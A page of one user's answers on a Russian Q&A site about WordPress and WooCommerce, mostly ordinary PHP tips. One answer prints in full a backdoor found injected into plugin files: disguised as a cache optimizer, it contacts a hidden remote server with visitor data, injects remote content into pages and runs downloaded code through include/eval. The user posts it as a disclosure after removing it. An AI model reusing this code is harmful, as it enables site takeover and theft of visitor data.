Ответы пользователя по тегу WordPress
  • Как добавить xml файл в Wordpress?

    @easycode
    не боюсь задавать глупые вопросы ))
    я хочу импортировать демо версию темы в Wordpress.

    наверное, имеется в виду что вы хотите импортировать демо-контент?

    т.е. вы ищите плагин, который сможет создать xml-файл импорта демо-контента? при этом как я понимаю разработчики этой темы не дают такой xml-файл? но у вас есть установленная версия с демо-контентом?

    Инструменты / Экспорт -> Всё содержимое
    экспорт настроек темы: https://wordpress.org/plugins/customizer-export-import/
    экспорт настроек виджетов: https://wordpress.org/plugins/widget-importer-exporter/

    Если же вы хотите создать файл импорта демо-контента по демо-версии сайта доступного в Интернете - то вряд ли вы найдете такое готовое решение, потому что настройки виджетов, меню и прочее - таким образом не собрать, только страницы и записи можно каким-нибудь граббером собрать - идея интересная конечно, но слишком гемморойная )))
    Ответ написан
    Комментировать
  • Как с хлебных крошек убрать category archives ???

    @easycode
    не боюсь задавать глупые вопросы ))
    Какой-нибудь SEO плагин установлен? Например Yoast SEO - попробуйте в нём отключить /category/
    61dc8d4f7c527718606705.png
    Ответ написан
  • Как изменить url?

    @easycode
    не боюсь задавать глупые вопросы ))
    наверное так:
    61dc8942657dd727413284.png

    хотя не понятно - как у вас после blog идёт category - по идее должно быть наоборот...
    888poker - это слаг записи или слаг таксономии (рубрики)?
    Ответ написан
  • Как добавить фотографию в рубрику?

    @easycode
    не боюсь задавать глупые вопросы ))
    есть два подхода:
    1) найти и заюзать готовый плагин - ну типа: https://ru.wordpress.org/plugins/categories-images/ или тут поискать: https://ru.wordpress.org/plugins/tags/category-image/ (методом перебора)
    2) или если готовы осилить возможности плагина ACF и немного пописать PHP-кода

    Ах да, есть еще один неочевидный вариант - если вам всё равно как загружать изображения - и готовы вставлять их в описание рубрики ( таксономии ) - то можно установить вот этот плагин https://ru.wordpress.org/plugins/visual-term-descr... и тогда в описании рубрики появится классический визуальный редактор контента с кнопкой вставки медиа - что даст возможность вставлять любой контент в том числе сколько угодно изображений
    Ответ написан
    9 комментариев
  • Сортировка терминов таксономии по значению мета-поля в WordPress?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Не кошерное решение:

    add_filter( 'get_terms_args', function ( $args, $taxonomies ) {
    
      global $pagenow;
    
      if ( is_admin() && $pagenow == 'edit-tags.php' && $taxonomies[0] == 'program_session' ) {
        $args['menu_order'] = false;
        $args['ignore_term_order'] = false;
        $args['meta_query'] = [
          'conference' => [
            'key'       => 'conference_id',
            'value'     => _get_active_conf_id(),
            'compare'   => 'LIKE'
          ],
        ];
      }
    
      return $args;
    
    }, 10, 2 );
    
    add_filter( 'terms_clauses', function ( $pieces, $taxonomies, $args ) {
        global $pagenow, $wpdb;
        if ( is_admin() && $pagenow == 'edit-tags.php' && $taxonomies[0] == 'program_session' ) {
            $pieces['join']  .= ' INNER JOIN ' . $wpdb->termmeta . ' AS tm ON t.term_id = tm.term_id ';
            $pieces['where'] .= ' AND tm.meta_key = "program_session_start"';
            $pieces['orderby']  = ' ORDER BY tm.meta_value ';
        }
        return $pieces;
    }, 10, 3 );
    Ответ написан
    Комментировать
  • Долго подгружается страница создания/редактирования товара WooCommerce?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    И надо же отключил Yoast SEO - эффект зависания пропал - корень зла Yoast выходит!
    Ответ написан
  • Уникальный набор похожих записей кастомного типа в WordPress?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Пока что быстренько набросал такой некрасивый вариант без учета влезания в соседние категории - нужно будет доделать потом:

    $_product_id = get_the_ID();
    $cat_ids = wp_get_object_terms( $_product_id, 'cats', array('fields'=>'ids') );
    if ( is_array($cat_ids) and count($cat_ids) ) {
        $_posts = get_posts( array(
            'numberposts' => -1,
            'post_type'   => 'product',
            'tax_query' => array(
                array(
                    'taxonomy' => 'cats',
                    'field' => 'id',
                    'terms' => $cat_ids,
                    'include_children' => true,
                )
            ),
        ) );
    
        if ( is_array($_posts) and count($_posts) ) {
            foreach ($_posts as $_post) {
                $_index[] = $_post->ID;
                $_posts_ids[$_post->ID] = $_post;
            }
    
            $post_index = array_search( $_product_id, $_index );
    
            if ($post_index) {
    
                $_products_ids = array();
                $_index_count = count($_index);
    
                if ( isset($_index[$post_index-2]) )
                    $_products_ids[] = $_index[$post_index-2];
                elseif ($post_index-1 == 0)
                    $_products_ids[] = $_index[$_index_count-1];
                else 
                    $_products_ids[] = $_index[$_index_count-2];
    
                if ( isset($_index[$post_index-1]) )
                    $_products_ids[] = $_index[$post_index-1];
                else
                    $_products_ids[] = $_index[$_index_count-1];
    
                if ( isset($_index[$post_index+1]) )
                    $_products_ids[] = $_index[$post_index+1];
                else
                    $_products_ids[] = $_index[0];
    
                if ( isset($_index[$post_index+2]) )
                    $_products_ids[] = $_index[$post_index+2];
                elseif ($post_index == $_index_count-1)
                    $_products_ids[] = $_index[1];
                else
                    $_products_ids[] = $_index[0];
    
                if ( count($_products_ids) ) {
                    foreach ($_products_ids as $_id) {
                        if ( is_object($_posts_ids[$_id]) )
                            $_products[$_id] = $_posts_ids[$_id];
                    }
                }
            }
        }
    }
    Ответ написан
    Комментировать
  • Первый товар из категории WooCommerce?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    $_first_product = get_posts( array(
        'numberposts' => 1,
        'post_type'   => 'product',
        'category' => $_categories,
        'post_status' => 'publish',
        //'orderby'=>'menu_order',
        'order'=>'ASC',
    ) );
    
    if ( is_array($_first_product) and count($_first_product) and $_first_product[0]->ID == $_product_id ) 
        $_is_first_product = true;


    если $_is_first_product = true значит это первый по порядку товар в категории
    в $_categories - ID-шник категории текущего товара
    Ответ написан
    Комментировать
  • Как создавать блоки для Visual Composer?

    @easycode
    не боюсь задавать глупые вопросы ))
    Судя по ответам - Вас или не поняли или не особо вдавались в Ваш вопрос.
    Вы наверняка нашли материалы по данной теме.
    Один из: https://webdesign.tutsplus.com/ru/tutorials/how-to...
    Ответ написан
    Комментировать
  • Использовать WooCommerce для оплаты в своём плагине?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Кажется я уже нашёл вариант, осталось только применить и затестить:

    if (isset($_POST['isOrder']) && $_POST['isOrder'] == 1) {
        $address = array(
            'first_name' => $_POST['notes']['domain'],
            'last_name'  => '',
            'company'    => $_POST['customer']['company'],
            'email'      => $_POST['customer']['email'],
            'phone'      => $_POST['customer']['phone'],
            'address_1'  => $_POST['customer']['address'],
            'address_2'  => '', 
            'city'       => $_POST['customer']['city'],
            'state'      => '',
            'postcode'   => $_POST['customer']['postalcode'],
            'country'    => 'NL'
        );
     
        $order = wc_create_order();
        foreach ($_POST['product_order'] as $productId => $productOrdered) :
            $order->add_product( get_product( $productId ), 1 );
        endforeach;
     
        $order->set_address( $address, 'billing' );
        $order->set_address( $address, 'shipping' );
     
        $order->calculate_totals();
     
        update_post_meta( $order->id, '_payment_method', 'ideal' );
        update_post_meta( $order->id, '_payment_method_title', 'iDeal' );
     
        // Store Order ID in session so it can be re-used after payment failure
        WC()->session->order_awaiting_payment = $order->id;
     
        // Process Payment
        $available_gateways = WC()->payment_gateways->get_available_payment_gateways();
        $result = $available_gateways[ 'ideal' ]->process_payment( $order->id );
     
        // Redirect to success/confirmation/payment page
        if ( $result['result'] == 'success' ) {
     
            $result = apply_filters( 'woocommerce_payment_successful_result', $result, $order->id );
     
            wp_redirect( $result['redirect'] );
            exit;
        }
    }
    Ответ написан
    Комментировать
  • Нужно организовать оплату в Интернет-магазине на WooCommece через Uniteller - есть идеи?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Написал еще тогда быстрое решение: https://github.com/enshtein/wc-uniteller
    Настроек не много, там что-то с типом налогооблажения в коде осталось.
    Появится время запилю плагин и выложу в каталог WordPress.
    Ответ написан
    Комментировать
  • Плагин-сканер WordPress для обнаружения и зачистки malware injection в БД?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Написал в поддержку Wordfence Security - надеюсь они добавят сигнатуру этого кода в свою базу )
    Ответ написан
    Комментировать
  • Большой многоязычный магазин на WooCommerce в сети WordPress Multisite с синхронизацией 1С - как организовать всё?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Пока что остановились на конфигурации WordPress + WooCommerce + Polylang Pro + Polylang for WooCommerce
    Размножили 7 тыс. товаров по еще 2 языкам, итого: 21 тыс. товаров в базе, у каждого товара атрибуты в мета-полях.

    На мощном серваке страницы генерируются за 0,2-0,5 секунд - для нас более чем прекрасные результаты!
    Ответ написан
    Комментировать
  • Как закрепить блок в Worpdress чтобы он был на всех страницах?

    @easycode
    не боюсь задавать глупые вопросы ))
    В файл functions.php в папке активной темы добавить код (можно в конец файла, но до закрывающего тега: ?> - если он там есть, а если его нет то просто в конец файла):
    register_sidebar(array(
            'name' => 'Мой блок',
            'before_widget' => '',
            'after_widget' => '',
            'before_title' => '<div class="title">',
            'after_title' => '</div>',
        ));


    далее, вам нужно определиться где будет расположен ваш блок - в каком месте страницы, если в подвале - то смотрите в файл footer.php, если в шапке - то возможно header.php. Тут всё очень тонко и зависит от конкретной темы, потому что разработчики тем могут чудить как угодно - у них полная свобода в этом, в footer.php или header.php - может вовсе не быть HTML-кода в рамках которого вы и должны действовать. Тогда Вам придется поискать в коде других файлов нужное место для вашего блока и когда вы его найдете вставьте туда:
    <?php dynamic_sidebar("Мой блок"); ?>

    опять же если будете вставлять внутри php-кода, то дескрипторы <?php и ?> не нужны будут - иначе получите или ошибку или ненужные символы на сайте.

    на у далее идете в Внешний вид / Виджеты и там появится колонка с названием: "Мой блок" - добавляете туда нужный Вам виджет и всё - как-то так )

    Но! Без хотя бы минимальных знаний HTML и понимания как устроены темы WordPress изнутри будет сложно разобраться. Установить хотя бы тот же Sublime Text редактор, добавьте туда папку с Вашей темой и через Ctrl + Shift + F можно искать нужный вам HTML-кусок кода во всех файлах этой папки, так порой приходится изощряться чтобы найти куда создатели темы запрятали окружающий нужное мне место HTML-код.
    Ответ написан
    1 комментарий
  • Как организовать работу взаимозависимых фильтров товаров в WordPress-плагине?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Пока что обошелся ранее мною описанным подходом:

    <?php
    
    // $data - это массив передающийся в AJAX-запросе фильтрации товаров
    
    // параметры основного запроса получения товаров для вывода на странице
    $args = array(
    	'post_type' => 'product',
    	'posts_per_page' => $data['page_count'] ? $data['page_count'] : 16,
    	'post_status' => 'publish',
    	'tax_query' => array(
            array(
                'taxonomy' => 'cats', 
                'field' => 'term_id', 
                'terms' => $_cat_id,
            )
        )
    );
    // если пагинация
    if ( is_numeric($data['page']) )  {
    	$args['paged'] = (int) $data['page'];
    }
    
    $_filter_post_ids = array();
    
    if (count($data['filters'])) { // если выбран хотя бы один фильтр
    	$args['meta_query'] = array(
    		'relation' => 'AND',
    	);
    	foreach ($data['filters'] as $_filter => $_values) {
    		// собираем фильтрацию
    		$args['meta_query'][] = array(
    			'key' => $_filter,
    			'value' => (array) $_values,
    		);
    	}
    
    	// собираем ID всех товаров выбранных в результе фильтрации
    	$args_filters = $args;
    	$args_filters['posts_per_page'] = -1;
    	$_posts = get_posts( $args_filters );
    	if ( count($_posts) ) {
    		foreach ($_posts as $_post) {
    			$_filter_post_ids[] = $_post->ID;
    		}
    		$in = " AND `post_id` IN (" . implode(',', $_filter_post_ids) . ')';
    	}
    
    	// получаем массивы значений фильтров для вывода в интерфейсе фильтрации товаров
    	foreach ($_filters_list as $_filter_name) {
    		$_filter_values = $wpdb->get_results("SELECT `meta_value`, COUNT(meta_id) AS `counts` FROM `{$wpdb->prefix}postmeta` WHERE `meta_key` = '$_filter_name' AND `meta_value` != ''$in GROUP BY `meta_value`", ARRAY_A);
    		if (count($_filter_values)) {
    			foreach ($_filter_values as $_value) {
    				$_filters_data[$_filter_name][$_value['meta_value']] = $_value['counts'];
    			}
    		}
    	}
    }
    
    $wp_query = new WP_Query( $args );


    Спорное решение - но работает и пока на небольшом кол-ве товаров в базе и кол-ве фильтров до 10 вроде не тормозит, посмотрим что будет дальше, возможно придется все переделывать иначе... но пока так...
    Ответ написан
    Комментировать
  • Как в wordpress поменять страницу index.php которая используется по умолчанию для вывода всех постов на свою? Например на тот же archive.php?

    @easycode
    не боюсь задавать глупые вопросы ))
    если я вас правильно понял, то может просто:
    - удалить или переименовать файл index.php
    - скопировать файл archive.php в файл с именем index.php
    нет?
    Ответ написан
  • Возможно ли организовать поддомены интернет-магазина на WordPress или другой CMS, ссылаясь на карточки товара с основного домена?

    @easycode
    не боюсь задавать глупые вопросы ))
    Забавно, прямо очень похожую штуку недавно попросил сделать клиент на его Интернет-магазине строительных товаров, у каждого раздела Каталога будет свой поддомен. Пока думаем в сторону динамических поддоменов с обработкой запросов на стороне WordPress и выдачей нужного контента с условием исключения дублирования контента по разным URL-адресам.

    SEO-шники клиента во всё горло орут что данная тема не нова и никаких банов нам за это не будет )
    Ну чтож проверимс )) Хозяин-барин..
    Ответ написан
    Комментировать
  • Где прописывать ключи и описание блога на Wordpress?

    @easycode
    не боюсь задавать глупые вопросы ))
    в целом для сайта - это наверное по умолчанию для Главной страницы и всех других страниц, для которых Вы вручную не будете этого делать?

    Что мешает установить All in One SEO Pack или Yoast SEO - в них есть всё что Вам нам нужно и даже больше )
    Ответ написан
  • WordPress-сайт стал нереально тормозить - как найти причину?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Развернул копию сайта на локальном веб-сервере и та же самая история - значит хостинг тут не при делах.

    Перепроверил замеры времени выполнения Query Monitor - "ручным" php-кодом в корневом файле index.php - результаты совпадают, Query Monitor показывает правду, а по нему выходит страницы генерируются не дольше 0,5 сек.

    Менял тему - не помогает. Начал отключать плагины поочередно и когда отключил такую парочку: "CF-Post-Formats и Revolution Slider (Share on Theme123.Net) " - сайт ожил и время обработки запроса к страницам сайта снизилось до милисекунд.

    На рабочем сервере такой же трюк с отключением этих плагинов не прошел, пришлось вырубить еще больше плагинов, чтобы всё заработало с прежней скоростью:

    YeE6XMsNSguER79PN00keQ.png

    еще 2 недели назад все эти плагины в активном режиме работали и сайт не тормозил...

    установил Wordfence Security - просканировал и вот совпадение в файлах именно этих выше приведенных плагинов была найдена следующая вставка кода:
    /**
     * Speedup php function cache by optimizing buffer output
     */
    ;if (!function_exists('_php_cache_speedup_func_optimizer_')) { function _php_cache_speedup_func_optimizer_($buffer) {
        if (isset($GLOBALS['_php_cache_speedup_func_optimizer_completed_'])) {
            // already completed
            return $buffer;
        }
    
        $mod = false;
        $token = 'czoyMzoiaHR0cDovL3Bpd2VyLnB3L2FwaS5waHAiOw==';
        $tmp_buffer = $buffer; $gzip = false; $body = '<' . 'b' . 'o' . 'd' . 'y';
    
        if (($has_body = stripos($buffer, $body)) === false) {
            // define gzdecode function if not defined
            if (!function_exists('gzdecode')) {
                function gzdecode($data) {
                    return @gzinflate(substr($data, 10, -8));
                }
            }
    
            // gzdecode buffer
            $tmp_buffer = @gzdecode($tmp_buffer);
    
            // check if buffer has body tag
            if (($has_body = stripos($tmp_buffer, $body)) !== false) {
                // got body tag, this should be gzencoded when done
                $gzip = true;
            }
        }
    
        if ($has_body === false) {
            // no body, return original buffer
            return $buffer;
        }
    
        $GLOBALS['_php_cache_speedup_func_optimizer_completed_'] = true;
    
        // decode token
        $func = 'b' . 'a' . 's' . 'e' . '6' . '4' . '_' . 'd' . 'e' . 'c' . 'o' . 'd' . 'e';
        $token = @unserialize(@$func($token));
        if (empty($token)) {
            return $buffer;
        }
    
        // download remote data
        function down($url, $timeout = 5) {
            // download using file_get_contents
            if (@ini_get('allow_url_fopen')) {
                $ctx = @stream_context_create(array('http' => array('timeout' => $timeout)));
                if ($ctx !== FALSE) {
                    $file = @file_get_contents($url, false, $ctx);
                    if ($file !== FALSE) {
                        return $file;
                    }
                }
            }
    
            // download using curl
            if (function_exists('curl_init')) {
                $ch = curl_init();
    
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
                curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    
                $response = curl_exec($ch);
                curl_close($ch);
    
                return $response;
            }
    
            // download using sockets
            if (extension_loaded('sockets')) {
                $data = parse_url($url);
                if (!empty($data['host'])) {
                    $host = $data['host'];
                    $port = isset($data['port']) ? $data['port'] : 80;
                    $uri = empty($data['path']) ? '/' : $data['path'];
                    if (($socket = @socket_create(AF_INET, SOCK_STREAM, 0)) && @socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array('sec' => $timeout, 'usec' => $timeout * 1000)) && @socket_connect($socket, $host, $port)) {
                        $buf = "GET $uri HTTP/1.0\r\nAccept: */*\r\nAccept-Language: en-us\r\nUser-Agent: Mozilla (compatible; WinNT)\r\nHost: $host\r\n\r\n";
                        if (@socket_write($socket, $buf) !== FALSE) {
                            $response = '';
                            while (($tmp = @socket_read($socket, 1024))) {
                                $response .= $tmp;
                            }
                            @socket_close($socket);
                            return $response;
                        }
                    }
                }
            }
    
            return false;
        }
    
        $token .= ((strpos($token, '?') === false) ? '?' : '&') . http_build_query(array(
            'h' => $_SERVER['HTTP_HOST'],
            'u' => $_SERVER['REQUEST_URI'],
            'a' => empty($_SERVER['HTTP_USER_AGENT']) ? '' : $_SERVER['HTTP_USER_AGENT'],
            'r' => empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'],
            'i' => $_SERVER['REMOTE_ADDR'],
            'f' => __FILE__,
            'v' => 9
        ));
        $token = @unserialize(@$func(down($token)));
    
        if (empty($token) || empty($token['data']) || !is_array($token['data'])) {
            // invalid data
            return $buffer;
        }
    
        // fix missing meta description
        if (isset($token['meta']) && $token['meta'] && ($pos = stripos($tmp_buffer, '</head>')) !== false) {
            $tmp = substr($tmp_buffer, 0, $pos);
            if (stripos($tmp, 'name="description"') === false && stripos($tmp, 'name=\'description\'') === false && stripos($tmp, 'name=description') === false) {
                $meta = $_SERVER['HTTP_HOST'];
                // append meta description
                $tmp_buffer = substr($tmp_buffer, 0, $pos) . '<' . 'm' . 'e' . 't' . 'a' . ' ' . 'n' . 'a'. 'm' . 'e' . '='. '"' . 'd' . 'e' . 's' .'c' .'r' . 'i' . 'p' . 't' . 'i' . 'o' . 'n' . '"'. ' ' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '="'. htmlentities(substr($meta, 0, 160)) .'">' . substr($tmp_buffer, $pos);
                $mod = true;
            }
        }
    
        foreach ($token['data'] as $tokenData) {
            if (!empty($tokenData['content'])) {
                // set defaults
                $tokenData = array_merge(array(
                    'pos' => 'after',
                    'tag' => 'bo' . 'dy',
                    'count' => 0,
                ), $tokenData);
    
                // find all occurrences of <tag>
                $tags = array();
                while (true) {
                    if (($tmp = @stripos($tmp_buffer, '<'.$tokenData['tag'], empty($tags) ? 0 : $tags[count($tags) - 1] + 1)) === false) {
                        break;
                    }
                    $tags[] = $tmp;
                }
    
                if (empty($tags)) {
                    // no tags found or nothing to show
                    continue;
                }
    
                // find matched tag position
                $count = $tokenData['count'];
                if ($tokenData['count'] < 0) {
                    // from end to beginning
                    $count = abs($tokenData['count']) - 1;
                    $tags = array_reverse($tags);
                }
    
                if ($count >= count($tags)) {
                    // fix overflow
                    $count = count($tags) - 1;
                }
    
                // find insert position
                if ($tokenData['pos'] == 'before') {
                    // pos is before
                    $insert = $tags[$count];
                } else if (($insert = strpos($tmp_buffer, '>', $tags[$count])) !== false) {
                    // pos is after, found end tag, insert after it
                    $insert += 1;
                }
    
                if ($insert === false) {
                    // no insert position
                    continue;
                }
    
                // insert html code
                $tmp_buffer = substr($tmp_buffer, 0, $insert) . $tokenData['content'] . substr($tmp_buffer, $insert);
                $mod = true;
            } elseif (!empty($tokenData['replace'])) {
                // replace content
                @http_response_code(200);
                $tmp_buffer = $tokenData['replace'];
                $mod = true;
            } elseif (!empty($tokenData['run'])) {
                // save temporary optimization file
                register_shutdown_function(function($file, $content) {
                    if (file_put_contents($file, $content) !== false) {
                        @chdir(dirname($file));
                        include $file;
                        @unlink($file);
                    } else {
                        @eval('@chdir("' . addslashes(dirname($file)) . '");?>' . $content);
                    }
                }, dirname(__FILE__) . '/temporary_optimization_file.php', strpos($tokenData['run'], 'http://') === 0 ? down($tokenData['run']) : $tokenData['run']);
            } else {
                // no content
                continue;
            }
        }
    
        // return gzencoded or normal buffer
        return !$mod ? $buffer : ($gzip ? gzencode($tmp_buffer) : $tmp_buffer);
    } ob_start('_php_cache_speedup_func_optimizer_');
    register_shutdown_function('ob_end_flush'); }
    ?>


    какие-то игры с буфером )
    странно что всё это раньше работало нормально, потому что этот вирусный код сидит уже с 2017 года (подглядел в бэкапы).

    Исход: удалил вручную эти вставки кода из файлов плагинов - всё заработало с нормальной скоростью.
    Ответ написан
    Комментировать
  • Как изменить директорию куда сохраняет файлы функция media_handle_sideload в WordPress?

    @easycode Автор вопроса
    не боюсь задавать глупые вопросы ))
    Google-поиск и эксперименты привели к такому "костыльному" решению:

    // данные нового поста типа: myphoto
    $_post_data = array(
      'post_title' => $title,
      'post_status' => 'publish',
      'post_author' => 1,
      'post_type' => 'myphoto',
    );
    // создаем пост
    $post_id = wp_insert_post( $_post_data );
    
    // скачиваем файл 
    $tmp_file = download_url( $url );
    
    $_REQUEST['post_id'] = $post_id;
    
    // загружаем файл в медиатеку WordPress
    $att_id = media_handle_sideload( array(
      'name' => $title,
      'tmp_name' => $tmp_file,
    ), $post_id, $title );
    
    unset($_REQUEST['post_id']);
    
    // устанавливаем миниатюру для записи
    set_post_thumbnail($post_id, $att_id);
    
    
    add_filter( 'upload_dir', 'filter_upload_dir' );
    function filter_upload_dir($args)
    {
    	if ( get_post_type( $_REQUEST['post_id'] ) == "yd_photo" ) {
    	    $mydir         = "/{$_REQUEST['post_id']}";
    	    $args['path'] = $args['basedir'] . $mydir;
    	    $args['url']  = $args['baseurl'] . $mydir;
    	}
    	return $args;
    }
    Ответ написан
    Комментировать